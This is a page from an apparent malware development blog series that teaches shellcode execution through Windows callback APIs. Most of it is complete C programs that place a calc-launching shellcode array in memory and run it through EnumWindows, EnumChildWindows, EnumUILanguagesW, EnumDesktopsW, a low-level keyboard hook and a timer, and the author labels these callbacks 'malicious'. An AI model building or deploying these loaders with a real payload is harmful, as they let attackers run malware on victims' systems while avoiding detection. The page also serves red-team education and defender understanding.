W4LK3R
GitHubLinkedInEmail
  • Home
    • Who am I ?
  • Research
    • Double Take Zero Day (CVE-2023–40459)
  • Red Team Diaries
    • #1 Domain Admin in 2 Hours
    • #2 Low Hanging Credentials
  • Malware Development
    • Basics
    • Dynamic Link Library
    • Code Execution
      • Create Local Thread
      • DLL Execution ( Disk )
      • Function Pointer (No API)
      • Handle2Self
      • Thread2Fiber
      • Callback Functions
      • Local Thread Hijacking / Context Injection
      • Local Mapping Injection
      • Local Module Stomping / DLL Hollowing
      • Local Function Stomping
Powered by GitBook
On this page
  • Callback Functions
  • Code Execution through Callback Functions
  • Providing a Malicious Callback Function
  • EnumWindows
  • EnumChildWindows
  • EnumUILanguagesW
  • EnumDesktopsW
  • Hijacking an Existing Callback
  • Hijacking Keypress using Hooks
  • Hijacking a Timer Callback
  • Other Callback Functions
  • Resources & References
  • Code Samples

Was this helpful?

  1. Malware Development
  2. Code Execution

Callback Functions

Code execution using callback functions

PreviousThread2FiberNextLocal Thread Hijacking / Context Injection

Last updated 6 months ago

Was this helpful?

Callback Functions

In Windows, a callback function is a piece of code that gets called in response to some event or condition, such as a timer expiration, a completed I/O operation, or a system notification. Many Windows APIs take a pointer to a function as an argument, allowing developers to provide their custom logic to be executed later by the system.

For instance:

  • Window Procedures: Windows-based applications can register a window procedure (WndProc) as a callback to handle messages sent to a window.

  • Enumerating Objects: APIs like EnumWindows or EnumChildWindows take a callback function that gets called for each window found.

  • I/O Completion: Functions like ReadFileEx and WriteFileEx allow for asynchronous I/O operations, where a completion callback is invoked after the operation finishes.

  • Thread Local Storage (TLS) Callbacks: These are executed when a thread is created or exits.


Code Execution through Callback Functions

We can hijack or provide a malicious callback function to execute custom code following a legitimate API call. For example:

  1. Provide Malicious Callback: we can register a callback with a legitimate API but point it to malicious code. When the system calls the callback, the code is executed within the context of a legitimate application.

    Example: Registering a callback with EnumWindows but pointing it to malicious shellcode or a function that initiates further actions like downloading malware or creating a backdoor.

  2. Hijack an Existing Callback: In some cases, we can modify or replace an existing legitimate callback function pointer with one that points to malicious code. This way, when the system or program triggers the callback, the attacker’s code is executed instead.

    Example: Manipulating structures in memory to replace legitimate callback addresses with malicious ones. If an application is using a function like SetWindowsHookEx to monitor events, the attacker can hijack that callback to insert their malicious function.


Providing a Malicious Callback Function

In this case, you pass a malicious callback function pointer to a legitimate API that expects a callback. The system will call your function when appropriate, and your code will execute.

EnumWindows

The EnumWindows API enumerates all top-level windows on the screen and calls a user-defined callback function for each window. You can register a custom function (malicious in this case) to perform whatever operation you want when the callback is invoked.

Taking a look at MSDN documentation for EnumWindows API, the function has the following syntax:

BOOL EnumWindows(
  [in] WNDENUMPROC lpEnumFunc,  // pointer to callback function
  [in] LPARAM      lParam       // value to pass to the callback function
);

The first parameter is of Type WNDENUMPROC , a pointer to an application-defined callback function. MSDN points to this link for more information about the type of callback function:

With this information we move on to creating a suitable callback function for EnumWindows API. according to the documentation, this is the syntax for a callback function that is suitable for using with EnumWindows API call:

BOOL CALLBACK EnumWindowsProc(
  _In_ HWND   hwnd,
  _In_ LPARAM lParam
);

We should also take note of the return value as mentioned in the documents:

To continue enumeration, the callback function must return TRUE; to stop enumeration, it must return FALSE.

So we have to write a function with the same structure, something like this:

BOOL CALLBACK EnumWindowsCallback(
    HWND hwnd, 
    LPARAM lParam
    ) {
    MessageBoxW(NULL,L"Callback function called from EnumWindows",L"Alert !",MB_OK);
    return FALSE;
}

This function will simply pop a message box saying it's called from a callback function. the return value is set to FALSE so that the function doesn't stick in an infinite loop and just pop message box forever !

The final code will look like this:

#include <windows.h>

// malicious callback function
BOOL CALLBACK EnumWindowsCallback(
    HWND hwnd,
    LPARAM lParam
) {
    MessageBoxW(NULL, L"Callback function called from EnumWindows", L"Alert !", MB_OK);
    return FALSE;
}

int main() {
    // call EnumWindows with our callback function as a parameter
    EnumWindows(EnumWindowsCallback, NULL);
    return 0;
}

We can modify this code to execute some shellcode:

#include <windows.h>
#include <stdio.h>

// calc.exe shellcode
unsigned char shellcode[] = {
        0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
        0x29, 0xD4, 0x65, 0x48, 0x8B,0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
        0x8B, 0x76, 0x10, 0x48, 0xAD,0x48, 0x8B, 0x30, 0x48, 0x8B,0x7E, 0x30,
        0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,0x1F, 0x20, 0x48,
        0x01, 0xFE,0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52,
        0x02,0xAD, 0x81, 0x3C, 0x07, 0x57,0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B,
        0x74, 0x1F, 0x1C, 0x48, 0x01,0xFE, 0x8B, 0x34, 0xAE, 0x48,0x01, 0xF7,
        0x99, 0xFF, 0xD7 };

// malicious callback function
BOOL CALLBACK EnumWindowsCallback(
    HWND hwnd,
    LPARAM lParam
) {
    // allocate memory, copy and execute shellcode using function pointer
    void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof(shellcode));
    ((void(*)())exec)();
    
    // stop enumerating windows (execute once)
    return FALSE;
}


int main() {
    // call EnumWindows with our callback function as a parameter
    EnumWindows(EnumWindowsCallback, NULL);
    return 0;
}

We can also make it simpler by calling the shellcode directly from EnumWindows API by type casting the shellcode array as an input type for the function.

This is not recommended at all. as i stated in previous posts, storing shellcode in .text section and calling it will limit our ability for obfuscation / encryption. here i'm just using this technique for simplicity.

#include <windows.h>

// store calc.exe shellcode in .text section
#pragma section(".text")
__declspec(allocate(".text")) const unsigned char shellcode[] = {
        0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
        0x29, 0xD4, 0x65, 0x48, 0x8B,0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
        0x8B, 0x76, 0x10, 0x48, 0xAD,0x48, 0x8B, 0x30, 0x48, 0x8B,0x7E, 0x30,
        0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,0x1F, 0x20, 0x48,
        0x01, 0xFE,0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52,
        0x02,0xAD, 0x81, 0x3C, 0x07, 0x57,0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B,
        0x74, 0x1F, 0x1C, 0x48, 0x01,0xFE, 0x8B, 0x34, 0xAE, 0x48,0x01, 0xF7,
        0x99, 0xFF, 0xD7 };


int main() {
    // call EnumWindows and type cast the shellcode to an input type for the API
    EnumWindows((WNDENUMPROC)shellcode, NULL);
    return 0;
}

EnumChildWindows

Enumerates the child windows that belong to the specified parent window by passing the handle to each child window, in turn, to an application-defined callback function. same as EnumWindows, this can also be used to execute arbitrary shellcode using callback functions.

#include <windows.h>

// store calc.exe shellcode in .text section
#pragma section(".text")
__declspec(allocate(".text")) const unsigned char shellcode[] = {
        0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
        0x29, 0xD4, 0x65, 0x48, 0x8B,0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
        0x8B, 0x76, 0x10, 0x48, 0xAD,0x48, 0x8B, 0x30, 0x48, 0x8B,0x7E, 0x30,
        0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,0x1F, 0x20, 0x48,
        0x01, 0xFE,0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52,
        0x02,0xAD, 0x81, 0x3C, 0x07, 0x57,0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B,
        0x74, 0x1F, 0x1C, 0x48, 0x01,0xFE, 0x8B, 0x34, 0xAE, 0x48,0x01, 0xF7,
        0x99, 0xFF, 0xD7 };

int main() {
        EnumChildWindows(NULL, (WNDENUMPROC)shellcode, NULL);  
	return 0;
}


EnumUILanguagesW

Enumerates the user interface languages that are available on the operating system and calls the callback function with every language in the list.

#include <windows.h>

#pragma section(".text")
__declspec(allocate(".text")) const unsigned char shellcode[] = {
        0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
        0x29, 0xD4, 0x65, 0x48, 0x8B,0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
        0x8B, 0x76, 0x10, 0x48, 0xAD,0x48, 0x8B, 0x30, 0x48, 0x8B,0x7E, 0x30,
        0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,0x1F, 0x20, 0x48,
        0x01, 0xFE,0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52,
        0x02,0xAD, 0x81, 0x3C, 0x07, 0x57,0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B,
        0x74, 0x1F, 0x1C, 0x48, 0x01,0xFE, 0x8B, 0x34, 0xAE, 0x48,0x01, 0xF7,
        0x99, 0xFF, 0xD7 };

int main() {
    EnumUILanguagesW((UILANGUAGE_ENUMPROCW)shellcode, MUI_LANGUAGE_NAME, NULL);
    return 0;
}

EnumDesktopsW

Enumerates all desktops associated with the specified window station of the calling process. The function passes the name of each desktop, in turn, to an application-defined callback function.

#include <windows.h>

#pragma section(".text")
__declspec(allocate(".text")) const unsigned char shellcode[] = {
        0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
        0x29, 0xD4, 0x65, 0x48, 0x8B,0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
        0x8B, 0x76, 0x10, 0x48, 0xAD,0x48, 0x8B, 0x30, 0x48, 0x8B,0x7E, 0x30,
        0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,0x1F, 0x20, 0x48,
        0x01, 0xFE,0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52,
        0x02,0xAD, 0x81, 0x3C, 0x07, 0x57,0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B,
        0x74, 0x1F, 0x1C, 0x48, 0x01,0xFE, 0x8B, 0x34, 0xAE, 0x48,0x01, 0xF7,
        0x99, 0xFF, 0xD7 };

int main() {
    EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)shellcode, NULL);
    return 0;
}

Hijacking an Existing Callback

In this scenario, you modify or replace a function pointer that a legitimate application or process uses for its callback. When the system calls the original callback, it unknowingly calls your malicious code.

Hijacking Keypress using Hooks

Let’s say a legitimate process has installed a hook using the SetWindowsHookEx function to monitor events (keyboard or mouse, for instance). You can hijack this hook by replacing the callback pointer in the hook structure to point to your own malicious function.

Here's a simple conceptual example of hijacking a callback in memory. This is commonly done in scenarios where you have access to process memory (e.g., after injection).

#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = {
    0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
    0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
    0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,
    0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F,
    0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C,
    0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E,
    0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B,
    0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7
};

HHOOK hHook; // Global hook handle
int executed = 0; // Flag to track shellcode execution

LRESULT CALLBACK MaliciousHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0 && wParam == WM_KEYDOWN && !executed) {
        executed = 1; // Mark shellcode as executed
        void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        memcpy(exec, shellcode, sizeof(shellcode));
        ((void(*)())exec)();

        // Unhook the keyboard hook after shellcode execution
        UnhookWindowsHookEx(hHook);

        // Exit the message loop by posting a quit message
        PostQuitMessage(0);
    }

    // Call the next hook in the chain
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int main() {
    // Set a keyboard hook that uses our malicious callback
    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MaliciousHookProc, NULL, 0);

    if (hHook == NULL) {
        printf("Failed to set hook!\n");
        return -1;
    }

    // Keep the hook running until it is removed
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return 0;
}

Here is a breakdown of how the code works:

  1. The program installs a global keyboard hook using WH_KEYBOARD_LL to intercept all keypress events.

  2. A global variable executed is introduced and initialized to 0. This flag will track whether the shellcode has already been executed.

  3. When a key is pressed, the MaliciousHookProc function is triggered.

  4. Inside MaliciousHookProc, memory is allocated for the shellcode, and the shellcode is copied into this memory.

  5. The shellcode is executed in-memory

  6. After the shellcode is executed for the first time, the hook is removed using UnhookWindowsHookEx(hHook). This prevents the hook from being triggered again.

  7. After unhooking, the program posts a WM_QUIT message using PostQuitMessage(0) to break out of the message loop in main(). This ensures the program exits cleanly after the first shellcode execution.


Hijacking a Timer Callback

the CreateTimerQueueTimer creates a timer-queue timer. This timer expires at the specified due time, then after every specified period. When the timer expires, the callback function is called.

#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = {
    0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48,
    0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
    0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,
    0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F,
    0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C,
    0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E,
    0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B,
    0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7
};

VOID CALLBACK TimerProc(HWND hwnd, UINT uMsg, UINT_PTR idEvent, DWORD dwTime) {
    void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        memcpy(exec, shellcode, sizeof(shellcode));
        ((void(*)())exec)();
    // Stop the timer after execution (one-time execution)
    KillTimer(hwnd, idEvent);
}

int main() {
    // Create a hidden window to use for the timer callback
    HWND hwnd = CreateWindowA("STATIC", "HiddenWindow", 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, NULL, NULL);

    if (!hwnd) {
        printf("Failed to create window!\n");
        return -1;
    }

    // Set a timer to fire after 5 seconds (5000 ms), which will trigger the TimerProc callback
    UINT_PTR timerId = SetTimer(hwnd, 0, 5000, (TIMERPROC)TimerProc);

    if (timerId == 0) {
        printf("Failed to set timer!\n");
        return -1;
    }

    // Message loop to keep the program running and handle the timer event
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return 0;
}

  1. SetTimer is used to set a timer that triggers after a specified interval (5000 milliseconds, or 5 seconds in this case).

  2. The TimerProc is the callback function that is invoked when the timer fires. In this case, we use this callback to execute the shellcode.

  3. In TimerProc, we allocate memory using VirtualAlloc with PAGE_EXECUTE_READWRITE permissions to make the memory executable.

  4. The shellcode is copied into the allocated memory, and the function pointer is cast to execute the shellcode.

  5. The KillTimer function is called within TimerProc to stop the timer after the shellcode has been executed, ensuring that the shellcode runs only once.

  6. The message loop in main keeps the program running and ensures the timer can fire after the 5-second interval.

The TimerProc hijacks the callback mechanism to execute shellcode when the timer fires.


Other Callback Functions

Here is an awsome list of other callback functions that can be used for code execution:


Resources & References


Code Samples

Code snippets are available on GitHub:

Callback Functions - .NET FrameworkMicrosoftLearn
Logo
EnumWindows function (winuser.h) - Win32 appsMicrosoftLearn
Logo
EnumWindowsProc callback function (Windows)MicrosoftLearn
EnumChildWindows function (winuser.h) - Win32 appsMicrosoftLearn
EnumUILanguagesW function (winnls.h) - Win32 appsMicrosoftLearn
EnumDesktopsW function (winuser.h) - Win32 appsMicrosoftLearn
SetWindowsHookExA function (winuser.h) - Win32 appsMicrosoftLearn
CreateTimerQueueTimer function (threadpoollegacyapiset.h) - Win32 appsMicrosoftLearn
GitHub - aahmad097/AlternativeShellcodeExec: Alternative Shellcode Execution Via CallbacksGitHub
Executing Shellcode via Callbacks | 🔐Blog of Osanda🔐Blog of Osanda
Callback Shellcode Execution < BorderGateBorderGate
Shellcode execution using RegisterWaitForInputIdle.Medium
Shellcode Execution via CreateThreadpoolWait | Red Team Notes
GitHub - 7h3w4lk3r/malware-development-samples: Code repository for my malware development blog seriesGitHub
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo